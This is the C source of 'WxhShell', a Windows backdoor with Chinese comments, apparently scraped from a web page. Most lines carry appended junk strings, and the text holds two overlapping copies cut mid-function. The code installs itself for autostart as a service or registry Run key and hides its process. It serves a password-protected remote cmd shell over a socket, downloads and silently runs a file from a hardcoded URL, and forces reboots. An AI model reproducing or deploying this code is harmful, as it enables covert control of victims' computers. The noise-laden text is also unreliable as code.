    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D5,P)[  
    if(Boot(SHUTDOWN)) j+-P :xvP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Lr<)p  
    else { .6f%?oo  
    closesocket(wsh); S* *oA 6  
    ExitThread(0); / JkC+7H4  
    } qIMA6u/  
    break; %9oYw9 H!  
    } O1'm@ q)  
  // 获取shell 2lVHZ\G  
  case 's': { "Wo,'8{v  
    CmdShell(wsh); JW.=T)  
    closesocket(wsh); 9f+>ix,ek*  
    ExitThread(0); C3NdE_E  
    break; \ZU1J b1c  
  } }Gyqq6Aeb  
  // 退出 VVP:w%yW  
  case 'x': { hvka{LD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cWyW~Ek  
    CloseIt(wsh); `n5"0QRd  
    break; Uyx!E4pl(  
    } ~@.%m"<.  
  // 离开 3&&9_`r&_  
  case 'q': { d;mx<i=/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A][fLlpr  
    closesocket(wsh); ?';OD3-  
    WSACleanup(); Vv1|51B  
    exit(1); ?L&|Uw+  
    break; $-}e; VZb  
        } *^%Q0mU[  
  } I/gjenUK  
  } qt%D'  
b` Hz$8  
  // 提示信息 O3DmNq$dz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a2Pf/D]n  
} \^7C0R-hX  
  } OyV<u@[i  
L@`ouQ"sa  
  return; ~w8JH2O  
} D^%^xq )E  
'R`tLN  
// shell模块句柄 z4M9M7)"  
int CmdShell(SOCKET sock) Sf5X3,Uw  
{ p~ HW5\4  
STARTUPINFO si; evkH05+;W  
ZeroMemory(&si,sizeof(si)); Tou/5?# %e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]$b[` g&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b306&ZVEk  
PROCESS_INFORMATION ProcessInfo; 6`vC1PK^  
char cmdline[]="cmd"; M" ^PW,k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ./Q,  
  return 0; ib{-A&  
} N_:qRpp6i  
_=CZR7:O  
// 自身启动模式 !aO` AC=5u  
int StartFromService(void) [(1c<b2r  
{ 9z)5Mdf1j  
typedef struct w?kJ+lmOQy  
{ dT,o=8fg  
  DWORD ExitStatus; sBrI}[oyx  
  DWORD PebBaseAddress; {ZY+L;eg1  
  DWORD AffinityMask; P) 3mX.(}  
  DWORD BasePriority; .`>y@p!  
  ULONG UniqueProcessId; J{^RkGF  
  ULONG InheritedFromUniqueProcessId; E4 m`  
}   PROCESS_BASIC_INFORMATION; ,|&9M^  
( =~&+z  
PROCNTQSIP NtQueryInformationProcess; K2%w0ohC  
,^#yo6-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KM^ufF2[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y~()|L[  
")=X4]D  
  HANDLE             hProcess; _6 ay-u  
  PROCESS_BASIC_INFORMATION pbi; RV@*c4KvO+  
lz1 wO5%h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "*G.EiLq  
  if(NULL == hInst ) return 0; mZd , 9  
vWGwVH/K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r@ZJ{4\Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u\eEh*<7q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e=O,B8)_  
*/|BpakD<  
  if (!NtQueryInformationProcess) return 0; yj^+ G  
$56,$K`H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {%_L=2n6  
  if(!hProcess) return 0; "etPT@gF  
j~*L~7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8#vc(04(  
/ X1 x  
  CloseHandle(hProcess); _a1x\,R|DB  
)"pF R4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uu`G 2[t  
if(hProcess==NULL) return 0; F_CYYGZ  
72'5%*1  
HMODULE hMod; pR~U`r5z  
char procName[255]; 8<Hf" M  
unsigned long cbNeeded; 5LOo8xN  
,c NLkoN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KZ/=IP=  
e=.]F*:J  
  CloseHandle(hProcess); ght$9>'n  
T?X_c"{8M  
if(strstr(procName,"services")) return 1; // 以服务启动 R=jI?p  
(DI>5.x"  
  return 0; // 注册表启动 6'FdGS  
} qT+%;(  
MdW]MW{  
// 主模块 uC cYPvm  
int StartWxhshell(LPSTR lpCmdLine) SJHr_bawd  
{ L*:jXmUM_~  
  SOCKET wsl; Mxv;k%l|E|  
BOOL val=TRUE; '*3h!lW1.  
  int port=0; kBffF@{  
  struct sockaddr_in door; j:VbrR  
b9l;a+]d  
  if(wscfg.ws_autoins) Install(); OLE[UXD-E  
fZoHf\B]{  
port=atoi(lpCmdLine); jbAx;Xt'=M  
OynXkH]0T+  
if(port<=0) port=wscfg.ws_port; ' ET~  
:2ED jW  
  WSADATA data; 2 O%`G+\)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;5)P6S.D  
>G%o,9i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dUhY\v oQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ajEjZ6  
  door.sin_family = AF_INET; @<elq'2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [C'JH//q*t  
  door.sin_port = htons(port); ?U2<  
9?SZNL['V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U[ 0=L`0e  
closesocket(wsl); JT!9\i  
return 1; sr{a(4*\  
} V{!J-nO  
*+#8mA(  
  if(listen(wsl,2) == INVALID_SOCKET) { ,=[?yJy  
closesocket(wsl); ax<?GjpM  
return 1; LA}S yt\F  
} 9@Jtaq>jf  
  Wxhshell(wsl); Hhcpp7cr'  
  WSACleanup(); BW$"`T@c6~  
(^Y~/  
return 0; i uF*.hc,%  
IhVO@KJI  
} y#3j`. $3p  
?k(7 LX0j  
// 以NT服务方式启动 `)_dS&_\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r2,.abo  
{ N(Fp0  
DWORD   status = 0; Tu).K.p:  
  DWORD   specificError = 0xfffffff; 'ZDp5pCC;  
oY933i@l)P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v]B3m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G?Q3/y(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kH G"XTL  
  serviceStatus.dwWin32ExitCode     = 0; Q$zO83  
  serviceStatus.dwServiceSpecificExitCode = 0; &B6Ep6QS  
  serviceStatus.dwCheckPoint       = 0; f,018]|  
  serviceStatus.dwWaitHint       = 0; X\bOz[\  
*GL/aEI<$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~T1 XLu  
  if (hServiceStatusHandle==0) return; M`,)wi  
OC BgR4I  
status = GetLastError(); JzQ)jdvp  
  if (status!=NO_ERROR) uM_wjP  
{ @`q:IIgW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h4 T5+~rw  
    serviceStatus.dwCheckPoint       = 0; Bu#VMk chJ  
    serviceStatus.dwWaitHint       = 0; wAf\|{Vn  
    serviceStatus.dwWin32ExitCode     = status; qVH1}9_  
    serviceStatus.dwServiceSpecificExitCode = specificError; .\)U@L~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NQJq6S4@  
    return; [OC5l>  
  } E2R&[Q"%  
6ZP(E^.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jIC_[  
  serviceStatus.dwCheckPoint       = 0; 1H6<[iHW  
  serviceStatus.dwWaitHint       = 0; l`#4KCL(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pKpUXfQu  
} r]:(Vk]|F  
{zQ8)$CQ  
// 处理NT服务事件,比如:启动、停止 ChGYTn`X   
VOID WINAPI NTServiceHandler(DWORD fdwControl) au: fw  
{ _Xk.p_uh  
switch(fdwControl) -?V-*jI  
{ 5C o  
case SERVICE_CONTROL_STOP: H[,i{dD  
  serviceStatus.dwWin32ExitCode = 0; f4 P8Oz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I|gB@|_~  
  serviceStatus.dwCheckPoint   = 0; &$`P,i 1)  
  serviceStatus.dwWaitHint     = 0; $u]jy0X<Y;  
  { vq(0OPj8r[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aX)I3^ar  
  } ,JAx ?Xb  
  return; M2OIBH4!  
case SERVICE_CONTROL_PAUSE: _>(^tCo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =;Rtdy/Yn%  
  break; itBwCIjG  
case SERVICE_CONTROL_CONTINUE: -GhP9; d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [q?<Qe  
  break; ,|y:" s  
case SERVICE_CONTROL_INTERROGATE: ;z}i-cNae  
  break; B +\3-q  
};  D~S<U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?!A7rb/tj  
} YIoQL}pX  
GpY"f c%  
// 标准应用程序主函数 e7Xeo+/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6#7Lm) g8  
{ m$}R%  
Wbr|_W  
// 获取操作系统版本 !t$'AoVBq  
OsIsNt=GetOsVer(); r`W)0oxD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EofymAi%  
\<JSkr[h!"  
  // 从命令行安装 >s>1[W@*  
  if(strpbrk(lpCmdLine,"iI")) Install(); 52:HNA\E/  
:61Tun  
  // 下载执行文件 v1o#1;  
if(wscfg.ws_downexe) { 3er nTD*`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $HHs^tW  
  WinExec(wscfg.ws_filenam,SW_HIDE); +b0eE)  
} ]m g)Q:d,  
G&D7a/G\  
if(!OsIsNt) { +)!YrKuu  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q sZx) bO  
HideProc(); PRu 6xsyA  
StartWxhshell(lpCmdLine); .7e2YI,S  
} #hfXZVD  
else <*16(!k0  
  if(StartFromService()) tItX y  
  // 以服务方式启动 [I '0,y  
  StartServiceCtrlDispatcher(DispatchTable); nw-xSS{  
else _<k\FU r  
  // 普通方式启动 dgR g>)V  
  StartWxhshell(lpCmdLine); {MtpkUN  
1C}NQ!.  
return 0; mHV%I@`Y6  
} CtyoHvw+M  
ciBP7>'::  
+giyX7BPJ  
{@6= Q 6L  
=========================================== G`SUxhCk  
0h#l JS*  
_ky,;9G]  
_ "?.!  
%<k2#6K  
Gw>^[dmt!  
" .AR#&mL9  
d4u})  
#include <stdio.h> t2/#&J]  
#include <string.h> lD)%s!  
#include <windows.h> #p P[xE"Y  
#include <winsock2.h> R)_%i<nq\  
#include <winsvc.h> fol,xMc&  
#include <urlmon.h> tNO-e|~'  
\Jx04[=  
#pragma comment (lib, "Ws2_32.lib") KK&rb~  
#pragma comment (lib, "urlmon.lib") Aw}"gpL  
X iS1\*  
#define MAX_USER   100 // 最大客户端连接数 G,?hp>lj  
#define BUF_SOCK   200 // sock buffer QQ%D8$k"  
#define KEY_BUFF   255 // 输入 buffer "$#xK|t  
;YA(|h<  
#define REBOOT     0   // 重启 |SoCRjuCPM  
#define SHUTDOWN   1   // 关机 >.Chl$)<  
E(O74/2c8  
#define DEF_PORT   5000 // 监听端口 l)G^cSHF.3  
u[@l~gwL  
#define REG_LEN     16   // 注册表键长度 Eo{"9j\  
#define SVC_LEN     80   // NT服务名长度 g[1gF&  
F~T]u2qt  
// 从dll定义API }Mstjm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S{]x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SX<` {x&L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iP =V8g?L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d74d/l1*{  
8$")%_1]  
// wxhshell配置信息 9!6f-K  
struct WSCFG { j/R[<47  
  int ws_port;         // 监听端口 Ja,wfRq  
  char ws_passstr[REG_LEN]; // 口令 KC/=TSSXd.  
  int ws_autoins;       // 安装标记, 1=yes 0=no -m)X]]~C  
  char ws_regname[REG_LEN]; // 注册表键名 pOGeru u?  
  char ws_svcname[REG_LEN]; // 服务名 }Ga\wV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gRCdY8GH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6g|*`x{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *!q1Kr6r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C`$n[kCJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l n{e1':$"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T=iJGRctB  
Id_2PkIN$~  
}; r"C  
SQ44  
// default Wxhshell configuration YM1'L\^  
struct WSCFG wscfg={DEF_PORT, TT2d81I3m  
    "xuhuanlingzhe", F20E_2;@@  
    1, !Fca~31R'  
    "Wxhshell", M$y+q ^  
    "Wxhshell", FG%X~L<d,)  
            "WxhShell Service", ?ATOXy  
    "Wrsky Windows CmdShell Service", W}m)cn3@  
    "Please Input Your Password: ", Lhl]g^SN  
  1, BUWqI dg  
  "http://www.wrsky.com/wxhshell.exe", 0+?7EL~  
  "Wxhshell.exe" OBMTgZHxv  
    }; kO,zZF&  
".W8)  
// 消息定义模块 <vUbv   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z3#P,y9@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U}6B*Xx'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6ys &zy  
char *msg_ws_ext="\n\rExit."; 4A8;tU$&  
char *msg_ws_end="\n\rQuit."; G'oG< /A  
char *msg_ws_boot="\n\rReboot..."; S0B|#O%Z  
char *msg_ws_poff="\n\rShutdown..."; % W=b? :  
char *msg_ws_down="\n\rSave to "; Q9~*<I> h;  
=:&ly'QB&  
char *msg_ws_err="\n\rErr!"; GNgKo]u  
char *msg_ws_ok="\n\rOK!"; W ?qmp|YD  
4.Q} 1%ZN  
char ExeFile[MAX_PATH]; a2dnbfSWa[  
int nUser = 0; )[PtaPWeT  
HANDLE handles[MAX_USER]; =8t]\Y?  
int OsIsNt; +aJ>rR  
x.f]1S7h[  
SERVICE_STATUS       serviceStatus; fI{ESXU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rtb7|  
K@sV\"U(*E  
// 函数声明 ,24p%KJ*X  
int Install(void); {{B%f.   
int Uninstall(void); ix([mQg  
int DownloadFile(char *sURL, SOCKET wsh); q#T/  
int Boot(int flag); Hc>m;[M)l  
void HideProc(void); gG]Eeu+z   
int GetOsVer(void); : ]sUpO  
int Wxhshell(SOCKET wsl); $K]m{  
void TalkWithClient(void *cs); Z1 Bp+a3  
int CmdShell(SOCKET sock); MXw hxk#E  
int StartFromService(void); b6Wqr/  
int StartWxhshell(LPSTR lpCmdLine); byLft 1  
;*Ivn@L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oE+R3[D?r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2^y ^q2(r  
B.dH(um  
// 数据结构和表定义 .ni_p 6!  
SERVICE_TABLE_ENTRY DispatchTable[] = 4(|cG7>9-  
{ 2>cGH7EBD  
{wscfg.ws_svcname, NTServiceMain}, 5 MN8D COF  
{NULL, NULL} +?:7O=Y  
}; I,0q4  
JBi*P.79^  
// 自我安装 V#XppYU  
int Install(void) 7[> 6i  
{ b\3Oyp>  
  char svExeFile[MAX_PATH]; ?98("T|y;  
  HKEY key; ~rDZ?~%  
  strcpy(svExeFile,ExeFile); AfX}y+Ah  
,u+PyG7 cb  
// 如果是win9x系统,修改注册表设为自启动 Bk*F_>X"  
if(!OsIsNt) { UmKI1l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iH/6M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d{SG Cr 9d  
  RegCloseKey(key); Jth[DUH8H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n@C[@?D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *A"~m !=  
  RegCloseKey(key); {U1?Et#  
  return 0; Oy%''+g   
    } E7.2T^o;M  
  } P>s[tM  
} !ePr5On  
else { cd(GvX'  
H,DM1Z9rz  
// 如果是NT以上系统,安装为系统服务 ~F4fFQ-yy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lr`&mZ( j  
if (schSCManager!=0) qAn!RkA  
{ pi Z[Y 5OE  
  SC_HANDLE schService = CreateService MCS8y+QK  
  ( w2 a1mU/  
  schSCManager, \HKxh:F'  
  wscfg.ws_svcname, YL]Z<%aKt  
  wscfg.ws_svcdisp, |G?htZF  
  SERVICE_ALL_ACCESS, vRs,zL$W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TygW0b 1  
  SERVICE_AUTO_START, K('hC)1  
  SERVICE_ERROR_NORMAL, :c8&N-`  
  svExeFile, E^vJ@O  
  NULL, \#Pfj &*  
  NULL, .}OR  
  NULL, _a6[{_Pc  
  NULL, ~yH?=:>U  
  NULL =p*]Az  
  ); AS =?@2 q  
  if (schService!=0) ^>jwh  
  { Xc?&_\. +  
  CloseServiceHandle(schService); .?R!DYC`  
  CloseServiceHandle(schSCManager); 9aze>nxh.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H5Z$*4%G  
  strcat(svExeFile,wscfg.ws_svcname); q35f&O;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7]blrN]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4)A#2  
  RegCloseKey(key); L3@82yPo!  
  return 0; /J=v]<87a  
    } RxI(:i?  
  } v^#~98g]  
  CloseServiceHandle(schSCManager); j`~Ms>  
} wE?'Cl  
} KwPOO{4]g  
B"!l2  
return 1; l)Crc-:}4j  
} ^; )8VP6  
@\f^0^G  
// 自我卸载 Bj1?x  
int Uninstall(void) {]%0lf:  
{ L&u$t}~)  
  HKEY key; @cFJeOC|  
czS+< w  
if(!OsIsNt) { S7/eS)SQR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K i'Fn"  
  RegDeleteValue(key,wscfg.ws_regname); 5@+,Xh,H|t  
  RegCloseKey(key); ,N!o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _$ +^q-  
  RegDeleteValue(key,wscfg.ws_regname); |4B:<x   
  RegCloseKey(key); <Bw^!.jAF  
  return 0; X!9 B2w  
  } KX'{[7}m'  
} *7ZN]/VRT  
} &e#~<Wm82  
else { Jl#%uU/sx  
vb<oi&X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y8-86 *zC  
if (schSCManager!=0) KG|n  
{ LR".pH13  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nV-mPyfL8  
  if (schService!=0) J&.{7YF  
  { PIdikA  
  if(DeleteService(schService)!=0) { " @v <Bk  
  CloseServiceHandle(schService); p<,*3huj  
  CloseServiceHandle(schSCManager); M$/|)U'W  
  return 0; ^j31S*f&:  
  } }]lr>"~y}  
  CloseServiceHandle(schService); L"o>wYx  
  } kXi6lh  
  CloseServiceHandle(schSCManager); Z -W(l<  
} >[*8I\*@n  
} {L/tst#C  
05b_)&4R  
return 1; jRJn+  
} 0n;< ge&~R  
;"dV"W  
// 从指定url下载文件 ]G5 w6&d  
int DownloadFile(char *sURL, SOCKET wsh) h*w%jdQ6  
{ DAcQz4T`  
  HRESULT hr; y5?RVlKJ  
char seps[]= "/"; Ji>o!  
char *token; n%-R[vW  
char *file; `(_s|-$  
char myURL[MAX_PATH]; 9~]~#Uj  
char myFILE[MAX_PATH]; mlJ!:WG  
G Uon/G8  
strcpy(myURL,sURL); "4ri SxEyF  
  token=strtok(myURL,seps); 4dO~C  
  while(token!=NULL) ;7?kl>5]  
  { 6{n!Cb[e  
    file=token; F'4w;-ax  
  token=strtok(NULL,seps); VyzS^AH K  
  } e4HA7=z  
ew#B [[  
GetCurrentDirectory(MAX_PATH,myFILE); xv(9IEjt0  
strcat(myFILE, "\\"); pTPi@SBaP{  
strcat(myFILE, file); lI*o@wQg  
  send(wsh,myFILE,strlen(myFILE),0); = \'}g?  
send(wsh,"...",3,0); n `&/ D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m[~V/N3  
  if(hr==S_OK) Xejo_SV&?  
return 0;  >qS9PX  
else 5-aj 2>=7  
return 1; j|U#)v/  
8ZM&(Lz7u  
} *K|W /'_&  
nqI@Y)  
// 系统电源模块 eg(6^:z?f  
int Boot(int flag) FbS|~Rp~  
{ gW>uR3Ca4  
  HANDLE hToken;  gQ'zW  
  TOKEN_PRIVILEGES tkp; oU056  
Q=AavKn#  
  if(OsIsNt) { :S<f?* }:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gl\\+VyU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /?@3.3sl_  
    tkp.PrivilegeCount = 1; i BF|&h(\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %?}33yV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i~I%D%;  
if(flag==REBOOT) { fVF2-Rh=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n>ULRgiT:o  
  return 0; WY?[,_4U  
} A mNW0.}  
else { #gRM i)(F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) piPR=B+  
  return 0; [DJ|`^eKD  
} -I8=T]_D  
  } -:|?h{q?u  
  else { `o=q%$f#k~  
if(flag==REBOOT) { }4 )H   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d:BG#\e]v  
  return 0; Yw^m  
} >, F bX8Zz  
else { oB}BU`-l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (gP)%  
  return 0; ^ DaBz\  
} ^hc!FD  
} a1C{(f)  
c 0,0`+2~  
return 1; pT=JP> nd^  
} ,}3 'I [  
W42 iu"@  
// win9x进程隐藏模块 o /j*d3  
void HideProc(void) (;T^8mI2  
{ :r{<zd>;  
D{GfL ib"U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F*IzQ(#HW  
  if ( hKernel != NULL ) >AVVEv18  
  { vdAr|4^qB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #|L8tuWW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +R3k-' >  
    FreeLibrary(hKernel); [pbo4e,4O  
  } PVe xa|aaX  
@.$|w>>T  
return; ;_c;0)  
} ]Lf{Jboo  
e?0l"  
// 获取操作系统版本 >3p \m  
int GetOsVer(void) [k.tWA,&  
{ ZP@ $Q%up  
  OSVERSIONINFO winfo; >0/i[k-dk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q!.byrod  
  GetVersionEx(&winfo); 0)Uce=t`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (SpX w,:  
  return 1; z* ^_)Z  
  else tr<Nm6!  
  return 0; Hx"ob_^'7  
} =bfJ^]R  
Sc\*W0m  
// 客户端句柄模块 zZL6z4g  
int Wxhshell(SOCKET wsl) (?n=33}Ci  
{ 8EW_V$>R  
  SOCKET wsh; f.D?sHAn  
  struct sockaddr_in client; MqW7cjg  
  DWORD myID; n6wV.?8  
\y97W&AN  
  while(nUser<MAX_USER) gH12[Us'`  
{ /s x@$cvW  
  int nSize=sizeof(client); NCiW^#b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VJeu 8ZJ.  
  if(wsh==INVALID_SOCKET) return 1; VEWi_;=J1  
&v56#lG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [4YTDEv%  
if(handles[nUser]==0) XW[j!`nlk  
  closesocket(wsh); `F-/QX[:  
else s2h@~y  
  nUser++; J[l7di5  
  } CS2 Bo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (/=f6^}  
EAT"pxP  
  return 0; eWCb73  
} `#rL*;\uV  
<CS(c|7  
// 关闭 socket l{5IUuUi  
void CloseIt(SOCKET wsh) @Xt*Snd  
{ PC~Y8,A|.t  
closesocket(wsh); bGN:=Y'  
nUser--; ^X=ar TE  
ExitThread(0); N4v~;;@(  
} NSxoF3  
n`#tKwWHYx  
// 客户端请求句柄 H=<S 9M  
void TalkWithClient(void *cs) ,vr? 2k  
{ ?:vv50  
RiDJ> 6S  
  SOCKET wsh=(SOCKET)cs; .CL[_;}  
  char pwd[SVC_LEN]; Q A< Rhv,  
  char cmd[KEY_BUFF]; h{CL{>d  
char chr[1]; =#;3Q~:Jl^  
int i,j; v&9y4\j  
FtpK)9/4  
  while (nUser < MAX_USER) { I4'5P}1yp  
m,VOx7%n  
if(wscfg.ws_passstr) { V[RF </2T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {:Orn%Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ( Z619w  
  //ZeroMemory(pwd,KEY_BUFF); O9G[j=U  
      i=0; }u\])I3  
  while(i<SVC_LEN) { $:8x(&+/@  
V\>K]mwD  
  // 设置超时 1ct;A_48  
  fd_set FdRead; bLB:MW\%  
  struct timeval TimeOut; vUN22;Z\  
  FD_ZERO(&FdRead); %P<hW+P!  
  FD_SET(wsh,&FdRead); {>}!+k -`  
  TimeOut.tv_sec=8; rV2WnAb[H&  
  TimeOut.tv_usec=0; -z-C*%~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *F+KqZ.2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )P%ZA)l%_o  
lG9bLiFY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eX?OYDDC0j  
  pwd=chr[0]; Tl%`P_J)-S  
  if(chr[0]==0xd || chr[0]==0xa) { EMh7z7}Rr  
  pwd=0; 4QH3fTv   
  break; !02`t4Zc-  
  } ,$@bE  
  i++; .7Dtm<K#  
    } lsJSYJG&  
LzG%Z1`  
  // 如果是非法用户,关闭 socket A0/"&Ag]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &TnS4O  
} S*==aftl(  
rx'RSo#1O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !`k1:@NZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _Us#\+]_:  
Z 8S\@I  
while(1) { lsgh#x  
],>@";9u"  
  ZeroMemory(cmd,KEY_BUFF); ?~l6K(*2  
 q['Euy  
      // 自动支持客户端 telnet标准   J28M@cn  
  j=0; Tre]"2l  
  while(j<KEY_BUFF) { ;%B(_c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !F*5M1Kjd  
  cmd[j]=chr[0]; c' ^?/$H|  
  if(chr[0]==0xa || chr[0]==0xd) { wu7Lk3  
  cmd[j]=0; Umz KY  
  break; <5-[{Q/2z  
  } %<)2/|lCd  
  j++; <C_jF  
    } JUsQ,ETn  
>NO[UX%yP  
  // 下载文件 D|lzGt  
  if(strstr(cmd,"http://")) { spGb!Y`mR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 f@)z"j  
  if(DownloadFile(cmd,wsh)) ?L5zC+c!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pf2[ , v/  
  else ]jtK I4  
